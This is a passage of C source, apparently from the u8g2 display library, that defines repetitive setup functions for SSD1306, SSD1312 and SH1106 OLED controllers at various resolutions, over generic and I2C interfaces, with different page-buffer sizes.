u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_128x64_alt0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_128x64_alt0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 */\n/* ssd1312 1 */\nvoid u8g2_Setup_ssd1312_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 2 */\nvoid u8g2_Setup_ssd1312_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 f */\nvoid u8g2_Setup_ssd1312_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 */\n/* ssd1312 1 */\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 2 */\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1312 f */\nvoid u8g2_Setup_ssd1312_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1312_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_72x40_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 */\n/* ssd1306 1 */\nvoid u8g2_Setup_ssd1306_i2c_96x40_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_96x39_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 2 */\nvoid u8g2_Setup_ssd1306_i2c_96x40_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_96x39_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ssd1306 f */\nvoid u8g2_Setup_ssd1306_i2c_96x40_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_ssd1306_i2c_96x39_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_12_5_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 2 */\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 f */\nvoid u8g2_Setup_sh1106_i2c_128x64_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_sh1106_i2c_128x64_winstar_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* sh1106 */\n/* sh1106 1 */\nvoid u8g2_Setup_sh1106_72x40_wise_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_sh1106_72x40_wise, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_9_5_1(&tile_buf_height);\n  